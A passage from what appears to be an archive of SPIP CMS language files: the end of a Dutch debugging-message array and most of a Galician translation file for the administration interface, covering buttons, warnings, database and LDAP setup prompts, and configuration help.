'zbug_parametres_inclus_incorrects' => 'Incorrecte parameter van insluitsel : @param@',
'zbug_profile' => 'Berekeningstijd : @time@',
'zbug_resultat' => 'resultaat',
'zbug_serveur_indefini' => 'SQL server niet gedefinieerd',
'zbug_statistiques' => 'Statistieken van de SQL verzoeken, gerangschikt volgens tijdsduur',
'zbug_table_inconnue' => 'SQL tabel « @table@ » onbekend',
'zxml_connus_attributs' => 'onbekende eigenschappen',
'zxml_de' => 'van',
'zxml_inconnu_attribut' => 'onbekende eigenschap',
'zxml_inconnu_balise' => 'onbekend baken',
'zxml_inconnu_entite' => 'onbekende entiteit',
'zxml_inconnu_id' => 'onbekende ID',
'zxml_mais_de' => 'maar van',
'zxml_non_conforme' => 'is niet in overeenstemming met de reden',
'zxml_non_fils' => 'is geen zoon van ',
'zxml_nonvide_balise' => 'niet leeg baken',
'zxml_obligatoire_attribut' => 'verplichte eigenschap maar afwezig in',
'zxml_succession_fils_incorrecte' => 'incorrecte opeenvolging van de zonen',
'zxml_survoler' => 'overzien voor de juistheid',
'zxml_valeur_attribut' => 'waarde van de eigenschap',
'zxml_vide_balise' => 'leeg baken',
'zxml_vu' => 'eerder gezien'
);
?>
ecrire_gl.php 0000666 00000212224 15252547432 0007230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar o módulo',
'affichage' => 'Presentación',
'aide_non_disponible' => 'Esta parte da axuda en liña aínda non está dispoñible nesta lingua.',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Acceso prohibido.',
'avis_article_modifie' => 'Atención, @nom_auteur_modif@ estaba traballando neste artigo hai @date_diff@ minutos',
'avis_aucun_resultat' => 'Ningún resultado.',
'avis_base_inaccessible' => 'Non foi posible conectarse coa base de datos @base@.',
'avis_chemin_invalide_1' => 'A rota que elixiches',
'avis_chemin_invalide_2' => 'non semella ser válida. Volva á páxina anterior e verifique as informacións introducidas.',
'avis_connexion_echec_1' => 'A conexión á base de datos non vai.',
'avis_connexion_echec_2' => 'Volva á páxina anterior, e verifique as informacións introducidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> En moitos servidores, terá que <b>pedir</b> a activación do seu acceso á base SQL antes de podela usar. Se non dá conectado, verifique ter dado ese paso.',
'avis_connexion_ldap_echec_1' => 'A conexión ao servidor LDAP fallou.',
'avis_connexion_ldap_echec_2' => 'Volva á páxina anterior, e verifique as informacións introducidas.',
'avis_connexion_ldap_echec_3' => 'Como alternativa, non empregue o sistema LDAP para importar redactores.',
'avis_deplacement_rubrique' => 'Atención! Este tema contén @contient_breves@ breve@scb@: se a(s) quere desprazar, confírmeo aquí.',
'avis_destinataire_obligatoire' => 'Tes que indicar o destino antes de enviar esta mensaxe.',
'avis_erreur_connexion_mysql' => 'Erro de conexión SQL',
'avis_erreur_version_archive' => '<b>Atención! O ficheiro @arquivo@ corresponde a
outra versión de SPIP que non é a que ten instalada.</b>
Pode estar ante graves problemas: hai risco de destrución
da súa base de datos, erros no funcionamento do web, etc.
Non valide esta solicitude de importación.<p>Para máis
informacións, consulte <a href="@spipnet@">
a documentación de SPIP</A>.</p>',
'avis_espace_interdit' => '<b>Espazo prohibido</b><div>SPIP xa está instalado.</div>',
'avis_lecture_noms_bases_1' => 'O programa de instalación non puido ler os nomes das bases de datos instaladas.',
'avis_lecture_noms_bases_2' => 'Pode que non haxa ningunha base dispoñíbel, ou que a función que lista as bases estea desactivada por motivos de seguridade (caso moi frecuente en moitos provedores de servizos).',
'avis_lecture_noms_bases_3' => 'Na segunda alternativa, é probábel que unha base co seu nome de identificador poida ser empregada:',
'avis_non_acces_message' => 'Non tes acceso a esta mensaxe.',
'avis_non_acces_page' => 'Non tes acceso a esta páxina.',
'avis_operation_echec' => 'Fallou a operación.',
'avis_operation_impossible' => 'Operación imposíbel',
'avis_probleme_archive' => 'Problema de leitura do ficheiro @archive@',
'avis_suppression_base' => 'ATENCIÓN, a supresión dos datos é irreversible',
'avis_version_mysql' => 'A súa versión de SQL (@version_mysql@) non permite a auto-reparación das táboas da base de datos.',
// B
'bouton_acces_ldap' => 'Engadir o acceso a LDAP',
'bouton_ajouter' => 'Engadir',
'bouton_ajouter_participant' => 'ENGADIR PARTICIPANTE:',
'bouton_annonce' => 'ANUNCIO',
'bouton_annuler' => 'Anular',
'bouton_checkbox_envoi_message' => 'posibilidade de enviar unha mensaxe',
'bouton_checkbox_indiquer_site' => 'indicar obrigatoriamente un web',
'bouton_checkbox_signature_unique_email' => 'unha soa sinatura por cada enderezo de correo-e',
'bouton_checkbox_signature_unique_site' => 'unha soa sinatura por cada web',
'bouton_demande_publication' => 'Solicitar a publicación deste artigo',
'bouton_desactive_tout' => 'Desactivar todo',
'bouton_desinstaller' => 'Desinstalar',
'bouton_effacer_index' => 'Borrar os índices',
'bouton_effacer_tout' => 'Borrar TODO',
'bouton_envoi_message_02' => 'ENVIAR UNHA MENSAXE',
'bouton_envoyer_message' => 'Mensaxe definitiva: enviar',
'bouton_fermer' => 'Cerrar',
'bouton_mettre_a_jour_base' => 'Actualizar a base de datos',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'NOTA PARA USO PERSOAL',
'bouton_radio_activer_messagerie' => 'Activar a mensaxería interna',
'bouton_radio_activer_messagerie_interne' => 'Activar a mensaxería interna',
'bouton_radio_activer_petition' => 'Activar a petición',
'bouton_radio_afficher' => 'Mostrar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparecer na lista de redactores conectados',
'bouton_radio_desactiver_messagerie' => 'Desactivar a mensaxería',
'bouton_radio_envoi_annonces_adresse' => 'Enviar os anuncios ao enderezo:',
'bouton_radio_envoi_liste_nouveautes' => 'Enviar a lista de novidades',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Non aparecer na lista de redactores que publica',
'bouton_radio_non_envoi_annonces_editoriales' => 'Non enviar as novidades editoriais',
'bouton_radio_pas_petition' => 'Sen petición',
'bouton_radio_petition_activee' => 'Petición activada',
'bouton_radio_supprimer_petition' => 'Eliminar a petición',
'bouton_redirection' => 'REDIRECCIÓN',
'bouton_relancer_installation' => 'Relanzar a instalación',
'bouton_suivant' => 'Seguinte',
'bouton_tenter_recuperation' => 'Tentar unha reparación',
'bouton_test_proxy' => 'Probar o proxy',
'bouton_vider_cache' => 'Baleirar a memoria caché',
'bouton_voir_message' => 'Ver a mensaxe antes de validala',
// C
'cache_mode_compresse' => 'Os ficheiros da memoria caché están rexistrados en modo comprimido.',
'cache_mode_non_compresse' => 'Os ficheiros da memoria caché están rexistrados en modo non comprimido',
'cache_modifiable_webmestre' => 'Este parámetro é modificábel polo webmáster do web.',
'calendrier_synchro' => 'Se usa un programa de axenda compatible <b>iCal</b>, poderá sincronizalo coas informacións deste web.',
'config_activer_champs' => 'Activar os seguintes campos',
'config_choix_base_sup' => 'escolla unha base de datos deste servidor',
'config_erreur_base_sup' => 'SPIP non ten acceso á lista de bases de datos accesibles',
'config_info_base_sup' => 'Se ten outras bases de datos para consultas a través de SPIP, co seu servidor SQL ou con outro, o formulario seguinte permitiralle declaralas. Se deixa certos campos baleiros, os identificadores de conexión á base de datos principal serán os utilizados.',
'config_info_base_sup_disponibles' => 'Bases suplementarias xa consultables-interrogables:',
'config_info_enregistree' => 'A nova configuración foi gardada',
'config_info_logos' => 'Cada elemento do web pode ter un logo, así como un « logo de substitucion »',
'config_info_logos_utiliser' => 'Utilizar os logos',
'config_info_logos_utiliser_non' => 'Non utilizar os logos',
'config_info_logos_utiliser_survol' => 'Utilizar os logos de substitución',
'config_info_logos_utiliser_survol_non' => 'Utilizar os logos de substitución',
'config_info_redirection' => 'En activando esta opción, poderá crear artigos virtuais, simples referencias de artigos publicados noutros web ou fóra de SPIP.',
'config_redirection' => 'Artigos virtuais',
'config_titre_base_sup' => 'Declaración dunha base suplementaria',
'config_titre_base_sup_choix' => 'Escolla unha base de datos suplementaria',
'connexion_ldap' => 'Conexión :',
'copier_en_local' => 'Copiar en local',
// D
'date_mot_heures' => 'horas',
// E
'email' => 'correo electrónico',
'email_2' => 'correo electrónico:',
'en_savoir_plus' => 'Máis información',
'entree_adresse_annuaire' => 'Enderezo da guía',
'entree_adresse_email' => 'O seu enderezo de correo-e',
'entree_base_donnee_1' => 'Enderezo da base de datos',
'entree_base_donnee_2' => '(Moitas veces este enderezo corresponde ao do teu web, ás veces correspóndese coa mención «localhost», e outras pódese deixar baleiro.)',
'entree_biographie' => 'Curta biografía en catro verbas.',
'entree_chemin_acces' => '<b>Introduce</b> o camiño de acceso :',
'entree_cle_pgp' => 'A túa chave GPG',
'entree_contenu_rubrique' => '(Contido do tema en poucas palabras.)',
'entree_identifiants_connexion' => 'O seu identificador de conexión...',
'entree_informations_connexion_ldap' => 'Escriba neste formulario os datos de conexión á túa guía LDAP.
Estes datos pódellos facilitar o grupo de xestión do sistema, ou da rede.',
'entree_infos_perso' => 'Quen é?',
'entree_interieur_rubrique' => 'Dentro do tema:',
'entree_liens_sites' => '<b>Ligazón de hipertexto</b> (referencia, web para visitar...)',
'entree_login' => 'O seu identificador',
'entree_login_connexion_1' => 'O identificador de conexión',
'entree_login_connexion_2' => '(ás veces é o mesmo login que ten para o acceso por FTP; outras veces pódese deixar baleiro)',
'entree_login_ldap' => 'Identificador LDAP inicial',
'entree_mot_passe' => 'A súa chave',
'entree_mot_passe_1' => 'A chave da conexión',
'entree_mot_passe_2' => '(ás veces é o mesmo que ten para o acceso por FTP; outras veces pódese deixar baleiro)',
'entree_nom_fichier' => 'Escrebe o nome do ficheiro @texte_compresse@:',
'entree_nom_pseudo' => 'O seu nome ou a súa identidade (alcume)',
'entree_nom_pseudo_1' => '(O seu nome ou a súa identidade, alcume)',
'entree_nom_site' => 'O nome do teu web',
'entree_nouveau_passe' => 'Nova chave',
'entree_passe_ldap' => 'Chave',
'entree_port_annuaire' => 'O número de porto da guía',
'entree_signature' => 'Sinatura',
'entree_titre_obligatoire' => '<b>Título</b> [Obrigado]<br />',
'entree_url' => 'O enderezo (URL) do teu web',
'erreur_connect_deja_existant' => 'Xa existe un servidor con ese nome',
'erreur_nom_connect_incorrect' => 'Este nome de servidor non está autorizado',
'erreur_plugin_desinstalation_echouee' => 'A desinstalación do módulo fallou. No entanto, pode desactivalo.', # MODIF
'erreur_plugin_fichier_absent' => 'Ficheiro ausente',
'erreur_plugin_fichier_def_absent' => 'Ficheiro de definición ausente',
'erreur_plugin_nom_fonction_interdit' => 'Nome de función prohibido',
'erreur_plugin_nom_manquant' => 'Falta o nome do módulo',
'erreur_plugin_prefix_manquant' => 'Espazo de chamada do módulo non definido',
'erreur_plugin_tag_plugin_absent' => 'Falta o<módulo> no ficheiro de definición',
'erreur_plugin_version_manquant' => 'Falta a versión do módulo',
// H
'htaccess_a_simuler' => 'Aviso: a configuración do seu servidor HTTP non ten conta dos ficheiros @htaccess@. Para poder asegurar unha boa seguridade, cómpre que modifique a configuración neste aspecto, ou ben que as constantes @constantes@ (definibles no ficheiro mes_options.php) teñan como valor cartafoles fóra de @document_root@.',
'htaccess_inoperant' => 'o htaccess non funciona',
// I
'ical_info1' => 'Esta páxina presenta varios métodos para establecer contactos coas novidades deste web.',
'ical_info2' => 'Para obter máis detalles sobre todas estas técnicas, non dubide en consultar <a href="@spipnet@">a documentación de SPIP</a>.',
'ical_info_calendrier' => 'Dous calendarios están á súa disposición. O primeiro e un mapa do web que anuncia todos os artigos publicados. O segundo contén os anuncios editoriais así como as súas últimas mensaxes privadas : estalle reservada gracias a unha chave persoal, que pode modificar en calquera momento anovando a súa chave.',
'ical_methode_http' => 'Descarga',
'ical_methode_webcal' => 'Sincronización (webcal://)',
'ical_texte_js' => 'Unha liña de javascript permítelle mostrar moi doadamente, sobre calquera web do que dispoña os artigos recentes deste web.',
'ical_texte_prive' => 'Este calendario, de uso estrictamente persoal, permítelle informarse da actividade editorial privada deste web (tarefas e citas persoais, artigos e breves propostas...).',
'ical_texte_public' => 'Este calendario permítelle seguir a actividade pública deste web (artigos e breves publicadas).',
'ical_texte_rss' => 'Pode sindicar as novidades deste web dentro de calquera lector de ficheiros en formato XML/RSS (Rich Site Summary). Este formato tamén lle permite ler con SPIP as novidades publicadas noutros webs que utilicen un formato de intercambio compatible (webs sindicados).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de correo',
'ical_titre_rss' => 'Ficheiros de afiliación',
'icone_accueil' => 'Portada',
'icone_activer_cookie' => 'Activar a cookie de correspondencia',
'icone_activite' => 'Actividade',
'icone_admin_plugin' => 'Xestión de módulos',
'icone_administration' => 'Mantemento',
'icone_afficher_auteurs' => 'Mostrar o equipo de redacción',
'icone_afficher_visiteurs' => 'Mostrar as visitas',
'icone_arret_discussion' => 'Non volver participar nesta discusión',
'icone_calendrier' => 'Calendario',
'icone_configuration' => 'Configuración',
'icone_creer_auteur' => 'Crear un novo membro do equipo de redacción e asocialo con este artigo',
'icone_creer_mot_cle' => 'Crear unha nova palabra chave e asociala con este artigo',
'icone_creer_mot_cle_rubrique' => 'Crear unha nova palabra chave e ligala a esta sección',
'icone_creer_mot_cle_site' => 'Crear unha nova palabra chave e ligala a este web',
'icone_creer_rubrique_2' => 'Crear un novo tema',
'icone_edition' => 'Edición',
'icone_envoyer_message' => 'Enviar a mensaxe',
'icone_ma_langue' => 'O meu idioma',
'icone_mes_infos' => 'Os meus datos',
'icone_mes_preferences' => 'As miñas preferencias',
'icone_modifier_article' => 'Modificar este artigo',
'icone_modifier_message' => 'Modificar esta mensaxe',
'icone_modifier_rubrique' => 'Modificar este tema',
'icone_publication' => 'Publicación',
'icone_relancer_signataire' => 'Relanzar o signatario',
'icone_retour' => 'Volver',
'icone_retour_article' => 'Volver ao artigo',
'icone_squelette' => 'Esqueletos',
'icone_suivi_publication' => 'Seguimento da publicación',
'icone_supprimer_cookie' => 'Borrar a cookie de correspondencia',
'icone_supprimer_rubrique' => 'Borrar este tema',
'icone_supprimer_signature' => 'Borrar esta sinatura',
'icone_valider_signature' => 'Validar a sinatura',
'image_administrer_rubrique' => 'Podes administrar este tema',
'info_1_article' => '1 artigo',
'info_1_article_syndique' => '1 artigo sindicado',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 mensaxe',
'info_1_mot_cle' => '1 palabra clave',
'info_1_rubrique' => '1 sección',
'info_1_site' => '1 web',
'info_1_visiteur' => '1 visitante',
'info_activer_cookie' => 'Pode activar unha <b>cookie de correspondencia</b>, co cal poderá pasar facilmente do web público ao web privado.',
'info_admin_etre_webmestre' => 'Concederme os dereitos de administrador',
'info_admin_gere_rubriques' => 'Esta persoa xestiona os seguintes temas:',
'info_admin_gere_toutes_rubriques' => 'Esta persoa xestiona <b>todos os temas</b>.', # MODIF
'info_admin_je_suis_webmestre' => 'Son o/a <b>webmáster</b>',
'info_admin_statuer_webmestre' => 'Dar a este administrador dereitos de webmáster',
'info_admin_webmestre' => 'Este administrdor é <b>webmáster</b>',
'info_administrateur' => 'Xestión',
'info_administrateur_1' => 'Xestión',
'info_administrateur_2' => 'do web (<i>úsese con sentidiño</i>)',
'info_administrateur_site_01' => 'Se pertences ó equipo de xestión,',
'info_administrateur_site_02' => 'preme nesta ligazón',
'info_administrateurs' => 'Xestión',
'info_administrer_rubrique' => 'Podes administrar este tema',
'info_adresse' => 'ó enderezo:',
'info_adresse_url' => 'Enderezo (URL) do web público',
'info_afficher_visites' => 'Mostrar as visitas de :',
'info_aide_en_ligne' => 'Axuda en liña do SPIP',
'info_ajout_image' => 'Cando engada imaxes como documentos adxuntos a un artigo,
SPIP pode crear, automaticamente, viñetas (miniaturas) das
imaxes insertas. Esto permite crear automaticamente
unha galería de imaxes.',
'info_ajout_participant' => '@ O/A participante foi engadido:',
'info_ajouter_rubrique' => 'Engadir outro tema á administrar:',
'info_annonce_nouveautes' => 'Anuncio de novidades',
'info_anterieur' => 'Anterior',
'info_article' => 'Artigo',
'info_article_2' => 'Artigos',
'info_article_a_paraitre' => 'Os artigos con data posterior á da sua publicación',
'info_articles_02' => 'Artigos',
'info_articles_2' => 'Artigos',
'info_articles_auteur' => 'Os artigos desta persoa',
'info_articles_miens' => 'Meus artigos',
'info_articles_tous' => 'Todos os artigos',
'info_articles_trouves' => 'Artigos atopados',
'info_articles_trouves_dans_texte' => 'Artigos atopados (no texto)',
'info_attente_validation' => 'Os teus artigos en espera de validación',
'info_aucun_article' => 'Ningún artigo',
'info_aucun_article_syndique' => 'Ningún artigo sindicado',
'info_aucun_auteur' => 'Ningún autor',
'info_aucun_message' => 'Ningunha mensaxe',
'info_aucun_rubrique' => 'Ningunha sección',
'info_aucun_site' => 'Ningún sitio',
'info_aucun_visiteur' => 'Ningún visitante',
'info_aujourdhui' => 'hoxe:',
'info_auteur_message' => 'AUTOR/A DA MENSAXE:',
'info_auteurs' => 'O equipo de redacción',
'info_auteurs_par_tri' => 'Autores @partri@',
'info_auteurs_trouves' => 'Autores/as atopados',
'info_authentification_externe' => 'Autentificación externa',
'info_avertissement' => 'Aviso',
'info_barre_outils' => 'coa barra de utilidades?',
'info_base_installee' => 'A estrutura da base de datos foi instalada.',
'info_chapeau' => 'Cabeceira',
'info_chapeau_2' => 'Cabeceira:',
'info_chemin_acces_1' => 'Opcións: <b>Camiño de acceso ao anuario</b>',
'info_chemin_acces_2' => 'En adiante, terá que configurar a vía de acceso ás informacións na guía. Esta información é indispensable para ler os perfís de redactores gardados na guía.',
'info_chemin_acces_annuaire' => 'Opcións: <b>Camiño de acceso ao anuario</b>',
'info_choix_base' => 'Terceira etapa:',
'info_classement_1' => '<sup>o</sup> en @liste@',
'info_classement_2' => '<sup>a</sup> en @liste@',
'info_code_acces' => 'Non esquezas os teus códigos de acceso!',
'info_compatibilite_html' => 'Norma HTML que se segue',
'info_compresseur_gzip' => '<b>N. B. :</b> Recoméndaselle comprobar antes de nada se o aloxador comprime xa sistematicamente os scripts php ; para iso, pode utilizar por exemplo o servizo seguinte : @testgzip@', # MODIF
'info_compresseur_texte' => 'No caso de que o seu servidor non comprima automaticamente as páxinas html para enviarllas aos internautas, pode probar a forzar esta compresión para diminuír o peso das páxinas para descarga. <b>Alerta</b> : isto pode ralentizar considerablemente certos servidores.',
'info_config_suivi' => 'Se este enderezo corresponde á unha lista de correo, vostede pode indicar aquí abaixo o enderezo co cal os participantes no web se poden inscribir. Este enderezo pode ser un URL (por exemplo a páxina de inscrición á lista via web), ou un enderezo de correo electrónico dotado dun asunto específico (por exemplo: <tt>@adresse_suivi@?subject=subscribirse</tt>):',
'info_config_suivi_explication' => 'Pode subscribirse á lista de correo deste web. Recibirá entón por correo os anuncios de artigos e de breves propostas para publicación.',
'info_confirmer_passe' => 'Confirmar a nova chave:',
'info_conflit_edition_avis_non_sauvegarde' => 'Aviso, os campos seguintes foron modificados por outros. As súas modificacións nestes campos non foron rexistradas.',
'info_conflit_edition_differences' => 'Diferenzas :',
'info_conflit_edition_version_enregistree' => 'A versión rexistrada :',
'info_conflit_edition_votre_version' => 'A súa versión :',
'info_connexion_base' => 'Proba de conexión coa base de datos',
'info_connexion_base_donnee' => 'Conexión ás súa base de datos',
'info_connexion_ldap_ok' => 'Conseguiu conexión LDAP.</b><p> Pode pasar á etapa seguinte.</p>', # MODIF
'info_connexion_mysql' => 'A súa conexión SQL',
'info_connexion_ok' => 'Conexión feita.',
'info_contact' => 'Contacto',
'info_contenu_articles' => 'Contido dos artigos',
'info_contributions' => 'Contribucións',
'info_creation_paragraphe' => '(Para crear parágrafos, simplemente deixe liñas baleiras.)', # MODIF
'info_creation_rubrique' => 'Antes de poder escribir artigos,<br /> ten que crear, cando menos un tema ou sección.<br />',
'info_creation_tables' => 'Creación das táboas da base de datos',
'info_creer_base' => '<b>Crear</b> unha nova base de datos:',
'info_dans_rubrique' => 'No tema:',
'info_date_publication_anterieure' => 'Data de redacción anterior:',
'info_date_referencement' => 'DATA DE REFERENCIA DESTE WEB:',
'info_derniere_etape' => 'Acabouse!',
'info_derniers_articles_publies' => 'Os teus últimos artigos publicados en liña',
'info_desactiver_messagerie_personnelle' => 'Pode activar ou desactivar a súa mensaxería persoal neste web.',
'info_descriptif' => 'Descrición:',
'info_desinstaller_plugin' => 'elimina os datos e desactiva o plugin',
'info_discussion_cours' => 'Discusións en proceso',
'info_ecrire_article' => 'Antes de poder escribir artigos, tes que crear, cando menos un tema ou sección.',
'info_email_envoi' => 'Enderezo de envío de correo (opcional)',
'info_email_envoi_txt' => 'Indique aquí o enderezo para lle enviar os correos (por defecto o enderezo destinatario será usado como enderezo de envío) :',
'info_email_webmestre' => 'Enderezo de correo-e. do/a webmáster (opcional)', # MODIF
'info_entrer_code_alphabet' => 'Teclea o código do alfabeto a empregar:',
'info_envoi_email_automatique' => 'Envío automático de correos-e.',
'info_envoyer_maintenant' => 'Enviar agora',
'info_etape_suivante' => 'Pasar á etapa seguinte',
'info_etape_suivante_1' => 'Podes pasar á etapa seguinte.',
'info_etape_suivante_2' => 'Podes pasar á etapa seguinte.',
'info_exceptions_proxy' => 'Excepción para o proxy',
'info_exportation_base' => 'exportación da base cara a @archive@',
'info_facilite_suivi_activite' => 'Para facilitar o seguimento da actividade
editorial do web, SPIP pode enviar por correo-e., por exemplo
a unha lista de enderezos do equipo de redacción, avisos das peticións
de publicación e de validacións dos artigos.',
'info_fichiers_authent' => 'Ficheiros de autenticación «.htpasswd»',
'info_forums_abo_invites' => 'O seu web dispón de foros para se aboar ; os visitantes están invitados a se rexistrar neles na parte pública do web.',
'info_gauche_admin_effacer' => '<b>Esta páxina é unicamente accessible para o equipo de xestión do web.</b><p> Dálle acceso a diferentes funcións de mantemento técnico. Algunhas delas dan lugar a procesos de autenticación específicos, que esixen ter un acceso por FTP ao web.</p>',
'info_gauche_admin_tech' => '<b>Esta páxina é unicamente accessible para o equipo de xestión do web.</b><p> Dálle acceso a diferentes funcións de mantemento técnico. Algunhas delas dan lugar a procesos de autenticación específicos, que esixen ter un acceso por FTP ao web.</p>',
'info_gauche_admin_vider' => '<b>Esta páxina é unicamente accesible para o equipo de xestión do web.</b><p> Dálle acceso a diferentes funcións de mantemento técnico. Algunhas delas dan lugar a procesos de autenticación específicos, que esixeb ter un acceso por FTP ao web.</p>',
'info_gauche_auteurs' => 'Aquí atoparás a todos os autores do web.
O seu status indícase coa cor da súa ícona (xestor = verde; redactor = amarela).',
'info_gauche_auteurs_exterieurs' => 'Os colaboradores exteriores, sen acceso ao web, indícanse por unha ícona azul;
os autores que foron eliminados, por unha papeleira.', # MODIF
'info_gauche_messagerie' => 'A mensaxería permíteche intercambiar mensaxes entre o equipo de redacción, gardar notas (para o teu uso persoal) ou mostrar os anuncios na páxina de entrada do espazo privado (se estás no equipo de xestión).',
'info_gauche_numero_auteur' => 'AUTOR/A NÚMERO',
'info_gauche_statistiques_referers' => 'Esta páxina presenta a lista de <i>referentes</i>,
ou sexa, os enderezos con ligazóns apuntando a este mesmo web, únicamente para onte e para hoxe; esta lista ponse a cero a cada 24 horas.',
'info_gauche_visiteurs_enregistres' => 'aquí atoparás as visitas rexistradas
no espazo público do web (foros con rexistro).',
'info_generation_miniatures_images' => 'Creación de miniaturas das imaxes',
'info_gerer_trad' => 'Crear as ligazóns de tradución ?',
'info_gerer_trad_objets' => '@objets@ : xestionar as ligazóns de tradución',
'info_hebergeur_desactiver_envoi_email' => 'Algúns aloxadores desactivan o envío automático de
correos-e. dende os seus servidores. Nese caso, as seguintes funcionalidades do
SPIP non estarán dispoñibles.',
'info_hier' => 'onte:',
'info_historique_activer' => 'Activar o seguimento de revisións',
'info_historique_affiche' => 'Mostrar esta versión',
'info_historique_comparaison' => 'Comparación',
'info_historique_desactiver' => 'Desactivar o seguimento de revisións',
'info_historique_texte' => 'O seguimento de revisións permite conservar un histórico de todas as modificacións realizadas no contido dun artigo, e de mostrar as diferenzas entre as versións sucesivas.',
'info_identification_publique' => 'A súa identidade pública...',
'info_image_process' => 'Probe a seleccionar o mellor método de fabricación de viñetas premendo sobre a imaxe correspondente.',
'info_image_process2' => '<b>N.B.</b> <i>Se non aparece ningunha imaxe, significa que o servidor que aloxa o web non foi configurado para para usar tales utilidades. Se desexa empregar estas funcións, contacte co responsable técnico e solicítelle as extensións «GD» ou «Imagick».</i>', # MODIF
'info_images_auto' => 'Imaxes calculadas automaticamente',
'info_informations_personnelles' => 'Datos persoais',
'info_inscription_automatique' => 'Rexistro automático de novos redactores',
'info_jeu_caractere' => 'Xogo de caracteres do web',
'info_jours' => 'días',
'info_laisser_champs_vides' => 'deixar estes campos baleiros)',
'info_langues' => 'Idiomas do web',
'info_ldap_ok' => 'A autentificación LDAP foi instalada.',
'info_lien_hypertexte' => 'Ligazón de hipertexto:',
'info_liste_redacteurs_connectes' => 'Lista de redactores conectados',
'info_login_existant' => 'Este identificador xa existe.',
'info_login_trop_court' => 'Identificador curto de máis.',
'info_logos' => 'Os logos',
'info_maximum' => 'máximo:',
'info_meme_rubrique' => 'Na mesma rúbrica ou sección',
'info_message' => 'Mensaxe de',
'info_message_efface' => 'MENSAXE BORRADA',
'info_message_en_redaction' => 'As túas mensaxes en proceso de redacción',
'info_message_technique' => 'Mensaxe técnica:',
'info_messagerie_interne' => 'mensaxería interna',
'info_mise_a_niveau_base' => 'posta ao día da súa base SQL',
'info_mise_a_niveau_base_2' => '{{Atención!}} Instalou unha versión
de ficheiros SPIP {anterior} á que tiña instalada
antes neste web: a súa base de datos pode que se perdese
e o seu web xa non funcionaró.<br />{{Reinstale os
ficheiros de SPIP.}}',
'info_modification_enregistree' => 'O modificación rexistrouse',
'info_modifier_auteur' => 'Modificar o autor:',
'info_modifier_rubrique' => 'Modificar o tema:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'O meu web SPIP',
'info_mot_sans_groupe' => '(Palabra sen grupo...)',
'info_moteur_recherche' => 'Motor de procura integrado',
'info_moyenne' => 'mediana:',
'info_multi_articles' => 'Activar o menú de lingua sobre os artigos ?',
'info_multi_cet_article' => 'Lingua deste artigo :',
'info_multi_langues_choisies' => 'Quere seleccionar despois as linguas dispoñibles dos redactores de seu web.
As linguas xa utilizadas no seu web (fixadas ao principio) non poden ser desactivadas.',
'info_multi_objets' => '@objets@ : activar o menú de idioma',
'info_multi_rubriques' => 'Activar o menú de lingua nas seccións ?',
'info_multi_secteurs' => '... soamente para as seccións situadas na raíz ?',
'info_nb_articles' => '@nb@ artigos',
'info_nb_articles_syndiques' => '@nb@ artigos sindicados',
'info_nb_auteurs' => '@nb@ autores',
'info_nb_messages' => '@nb@ mensaxes',
'info_nb_mots_cles' => '@nb@ palabras-clave',
'info_nb_rubriques' => '@nb@ seccións',
'info_nb_sites' => '@nb@ sitios',
'info_nb_visiteurs' => '@nb@ visitantes',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome do/a destinatario',
'info_nom_site' => 'Nome do seu web',
'info_nombre_articles' => '@nb_articles@ artigos,',
'info_nombre_partcipants' => 'PARTICIPANTES NA DISCUSIÓN:',
'info_nombre_rubriques' => '@nb_rubriques@ temas,',
'info_nombre_sites' => '@nb_sites@ webs,',
'info_non_deplacer' => 'Non desplazar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pode enviar, regularmente, o anuncio das
últimas novidades do web (artigos e breves recentes).',
'info_non_envoi_liste_nouveautes' => 'Non enviar á lista de novidades',
'info_non_modifiable' => 'Non se pode modificar',
'info_non_suppression_mot_cle' => 'Non quero eliminar esta palabra chave.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Notas',
'info_nouveaux_message' => 'Novas mensaxes',
'info_nouvel_article' => 'Novo artigo',
'info_nouvelle_traduction' => 'Nova tradución :',
'info_numero_article' => 'ARTIGO NÚMERO:',
'info_obligatoire_02' => '[Obrigatorio]', # MODIF
'info_option_accepter_visiteurs' => 'Aceptar a inscrición de visitantes do web público',
'info_option_faire_suivre' => 'Enviar aviso das mensaxes dos foros ás persoas responsabeis dos artigos',
'info_option_ne_pas_accepter_visiteurs' => 'Rexeitar a inscrición de visitantes',
'info_options_avancees' => 'OPCIÓNS AVANZADAS',
'info_ortho_activer' => 'Activar a comprobación de ortografía.',
'info_ortho_desactiver' => 'Desactivar a comprobación de ortografía.',
'info_ou' => 'ou...',
'info_page_interdite' => 'Páxina prohibida',
'info_par_nom' => 'por nome',
'info_par_nombre_article' => 'por número de artigos',
'info_par_statut' => 'por estado',
'info_par_tri' => '’(por @tri@)’',
'info_passe_trop_court' => 'Chave moi curta.',
'info_passes_identiques' => 'As dúas chaves non son idénticas.',
'info_pense_bete_ancien' => 'Notas vellas',
'info_plus_cinq_car' => 'máis de 5 caracteres',
'info_plus_cinq_car_2' => '(Máis de 5 caracteres)',
'info_plus_trois_car' => '(Máis de 3 caracteres)',
'info_popularite' => 'popularidade: @popularite@; visitas: @visites@',
'info_popularite_4' => 'popularidade: @popularite@; visitas: @visites@',
'info_post_scriptum' => 'Pé do artigo',
'info_post_scriptum_2' => 'Pé do artigo:',
'info_pour' => 'para',
'info_preview_admin' => 'Só os administradores poden previsualizar o web',
'info_preview_comite' => 'Todos os redactores poden previsualizar o web',
'info_preview_desactive' => 'A previsualización está totalmente desactivada',
'info_preview_texte' => 'É posíbel previsualizar o web como se todos os artigos e breves (que teñan cando menos o estado de « proposto ») estivesen publicados. Esta posibilidade debe estar aberta só para os administradores, para todos os redactores, ou para calquera ?',
'info_principaux_correspondants' => 'Os colaboradores principais',
'info_procedez_par_etape' => 'procede etapa por etapa',
